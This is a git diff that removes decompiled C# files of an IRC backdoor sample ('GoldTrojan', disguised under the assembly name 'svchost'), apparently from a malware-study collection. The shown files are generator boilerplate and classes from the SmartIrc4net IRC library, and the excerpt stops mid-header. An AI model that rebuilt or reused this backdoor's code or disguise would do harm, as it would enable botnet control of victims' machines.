a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Properties/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: GoldTrojan.Properties.Resources -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace GoldTrojan.Properties -{ - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [CompilerGenerated] - [DebuggerNonUserCode] - internal class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - internal Resources() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (GoldTrojan.Properties.Resources.resourceMan == null) - GoldTrojan.Properties.Resources.resourceMan = new ResourceManager("GoldTrojan.Properties.Resources", typeof (GoldTrojan.Properties.Resources).Assembly); - return GoldTrojan.Properties.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => GoldTrojan.Properties.Resources.resourceCulture; - set => GoldTrojan.Properties.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Properties/Resources.resx b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Properties/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Properties/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Properties/Settings.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Properties/Settings.cs deleted file mode 100644 index d9c82630..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Properties/Settings.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: GoldTrojan.Properties.Settings -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System.CodeDom.Compiler; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace GoldTrojan.Properties -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [CompilerGenerated] - internal sealed class Settings : ApplicationSettingsBase - { - private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings()); - - public static Settings Default => Settings.defaultInstance; - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ActionEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ActionEventArgs.cs deleted file mode 100644 index b03e1968..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ActionEventArgs.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.ActionEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class ActionEventArgs : CtcpEventArgs - { - private string _ActionMessage; - - public string ActionMessage => this._ActionMessage; - - internal ActionEventArgs(IrcMessageData data, string actionmsg) - : base(data, "ACTION", actionmsg) - { - this._ActionMessage = actionmsg; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ActionEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ActionEventHandler.cs deleted file mode 100644 index 40997d93..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ActionEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.ActionEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void ActionEventHandler(object sender, ActionEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AlreadyConnectedException.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AlreadyConnectedException.cs deleted file mode 100644 index 230c9859..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AlreadyConnectedException.cs +++ /dev/null @@ -1,34 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.AlreadyConnectedException -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.Runtime.Serialization; - -namespace Meebey.SmartIrc4net -{ - [Serializable] - public class AlreadyConnectedException : ConnectionException - { - public AlreadyConnectedException() - { - } - - public AlreadyConnectedException(string message) - : base(message) - { - } - - public AlreadyConnectedException(string message, Exception e) - : base(message, e) - { - } - - protected AlreadyConnectedException(SerializationInfo info, StreamingContext context) - : base(info, context) - { - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AutoConnectErrorEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AutoConnectErrorEventArgs.cs deleted file mode 100644 index 322cae4d..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AutoConnectErrorEventArgs.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.AutoConnectErrorEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; - -namespace Meebey.SmartIrc4net -{ - public class AutoConnectErrorEventArgs : EventArgs - { - private Exception _Exception; - private string _Address; - private int _Port; - - public Exception Exception => this._Exception; - - public string Address => this._Address; - - public int Port => this._Port; - - internal AutoConnectErrorEventArgs(string address, int port, Exception ex) - { - this._Address = address; - this._Port = port; - this._Exception = ex; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AutoConnectErrorEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AutoConnectErrorEventHandler.cs deleted file mode 100644 index ba0fb566..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AutoConnectErrorEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.AutoConnectErrorEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void AutoConnectErrorEventHandler(object sender, AutoConnectErrorEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AwayEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AwayEventArgs.cs deleted file mode 100644 index c293ba67..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AwayEventArgs.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.AwayEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class AwayEventArgs : IrcEventArgs - { - private string _Who; - private string _AwayMessage; - - public string Who => this._Who; - - public string AwayMessage => this._AwayMessage; - - internal AwayEventArgs(IrcMessageData data, string who, string awaymessage) - : base(data) - { - this._Who = who; - this._AwayMessage = awaymessage; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AwayEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AwayEventHandler.cs deleted file mode 100644 index bb8be4e1..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/AwayEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.AwayEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void AwayEventHandler(object sender, AwayEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/BanEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/BanEventArgs.cs deleted file mode 100644 index 3d4b4861..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/BanEventArgs.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.BanEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class BanEventArgs : IrcEventArgs - { - private string _Channel; - private string _Who; - private string _Hostmask; - - public string Channel => this._Channel; - - public string Who => this._Who; - - public string Hostmask => this._Hostmask; - - internal BanEventArgs(IrcMessageData data, string channel, string who, string hostmask) - : base(data) - { - this._Channel = channel; - this._Who = who; - this._Hostmask = hostmask; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/BanEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/BanEventHandler.cs deleted file mode 100644 index c49a8b21..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/BanEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.BanEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void BanEventHandler(object sender, BanEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/BanInfo.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/BanInfo.cs deleted file mode 100644 index 3d568784..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/BanInfo.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.BanInfo -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class BanInfo - { - private string f_Channel; - private string f_Mask; - - public string Channel => this.f_Channel; - - public string Mask => this.f_Mask; - - private BanInfo() - { - } - - public static BanInfo Parse(IrcMessageData data) => new BanInfo() - { - f_Channel = data.RawMessageArray[3], - f_Mask = data.RawMessageArray[4] - }; - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/Channel.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/Channel.cs deleted file mode 100644 index 1c5dd9ae..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/Channel.cs +++ /dev/null @@ -1,95 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.Channel -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.Collections; -using System.Collections.Specialized; - -namespace Meebey.SmartIrc4net -{ - public class Channel - { - private string _Name; - private string _Key = string.Empty; - private Hashtable _Users = Hashtable.Synchronized(new Hashtable((IHashCodeProvider) new CaseInsensitiveHashCodeProvider(), (IComparer) new CaseInsensitiveComparer())); - private Hashtable _Ops = Hashtable.Synchronized(new Hashtable((IHashCodeProvider) new CaseInsensitiveHashCodeProvider(), (IComparer) new CaseInsensitiveComparer())); - private Hashtable _Voices = Hashtable.Synchronized(new Hashtable((IHashCodeProvider) new CaseInsensitiveHashCodeProvider(), (IComparer) new CaseInsensitiveComparer())); - private StringCollection _Bans = new StringCollection(); - private string _Topic = string.Empty; - private int _UserLimit; - private string _Mode = string.Empty; - private DateTime _ActiveSyncStart; - private DateTime _ActiveSyncStop; - private TimeSpan _ActiveSyncTime; - private bool _IsSycned; - - internal Channel(string name) - { - this._Name = name; - this._ActiveSyncStart = DateTime.Now; - } - - public string Name => this._Name; - - public string Key - { - get => this._Key; - set => this._Key = value; - } - - public Hashtable Users => (Hashtable) this._Users.Clone(); - - internal Hashtable UnsafeUsers => this._Users; - - public Hashtable Ops => (Hashtable) this._Ops.Clone(); - - internal Hashtable UnsafeOps => this._Ops; - - public Hashtable Voices => (Hashtable) this._Voices.Clone(); - - internal Hashtable UnsafeVoices => this._Voices; - - public StringCollection Bans => this._Bans; - - public string Topic - { - get => this._Topic; - set => this._Topic = value; - } - - public int UserLimit - { - get => this._UserLimit; - set => this._UserLimit = value; - } - - public string Mode - { - get => this._Mode; - set => this._Mode = value; - } - - public DateTime ActiveSyncStart => this._ActiveSyncStart; - - public DateTime ActiveSyncStop - { - get => this._ActiveSyncStop; - set - { - this._ActiveSyncStop = value; - this._ActiveSyncTime = this._ActiveSyncStop.Subtract(this._ActiveSyncStart); - } - } - - public TimeSpan ActiveSyncTime => this._ActiveSyncTime; - - public bool IsSycned - { - get => this._IsSycned; - set => this._IsSycned = value; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ChannelInfo.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ChannelInfo.cs deleted file mode 100644 index 44d1dfcd..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ChannelInfo.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.ChannelInfo -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class ChannelInfo - { - private string f_Channel; - private int f_UserCount; - private string f_Topic; - - public string Channel => this.f_Channel; - - public int UserCount => this.f_UserCount; - - public string Topic => this.f_Topic; - - internal ChannelInfo(string channel, int userCount, string topic) - { - this.f_Channel = channel; - this.f_UserCount = userCount; - this.f_Topic = topic; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ChannelUser.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ChannelUser.cs deleted file mode 100644 index e7f75f12..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ChannelUser.cs +++ /dev/null @@ -1,56 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.ChannelUser -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class ChannelUser - { - private string _Channel; - private IrcUser _IrcUser; - private bool _IsOp; - private bool _IsVoice; - - internal ChannelUser(string channel, IrcUser ircuser) - { - this._Channel = channel; - this._IrcUser = ircuser; - } - - public string Channel => this._Channel; - - public bool IsIrcOp => this._IrcUser.IsIrcOp; - - public bool IsOp - { - get => this._IsOp; - set => this._IsOp = value; - } - - public bool IsVoice - { - get => this._IsVoice; - set => this._IsVoice = value; - } - - public bool IsAway => this._IrcUser.IsAway; - - public IrcUser IrcUser => this._IrcUser; - - public string Nick => this._IrcUser.Nick; - - public string Ident => this._IrcUser.Ident; - - public string Host => this._IrcUser.Host; - - public string Realname => this._IrcUser.Realname; - - public string Server => this._IrcUser.Server; - - public int HopCount => this._IrcUser.HopCount; - - public string[] JoinedChannels => this._IrcUser.JoinedChannels; - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ConnectionException.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ConnectionException.cs deleted file mode 100644 index 7f07d49f..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ConnectionException.cs +++ /dev/null @@ -1,34 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.ConnectionException -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.Runtime.Serialization; - -namespace Meebey.SmartIrc4net -{ - [Serializable] - public class ConnectionException : SmartIrc4netException - { - public ConnectionException() - { - } - - public ConnectionException(string message) - : base(message) - { - } - - public ConnectionException(string message, Exception e) - : base(message, e) - { - } - - protected ConnectionException(SerializationInfo info, StreamingContext context) - : base(info, context) - { - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CouldNotConnectException.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CouldNotConnectException.cs deleted file mode 100644 index d389cbc5..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CouldNotConnectException.cs +++ /dev/null @@ -1,34 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.CouldNotConnectException -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.Runtime.Serialization; - -namespace Meebey.SmartIrc4net -{ - [Serializable] - public class CouldNotConnectException : ConnectionException - { - public CouldNotConnectException() - { - } - - public CouldNotConnectException(string message) - : base(message) - { - } - - public CouldNotConnectException(string message, Exception e) - : base(message, e) - { - } - - protected CouldNotConnectException(SerializationInfo info, StreamingContext context) - : base(info, context) - { - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CtcpDelegate.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CtcpDelegate.cs deleted file mode 100644 index 9ce2d7da..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CtcpDelegate.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.CtcpDelegate -// Assembly: svchost, Version=3.2.4.0, 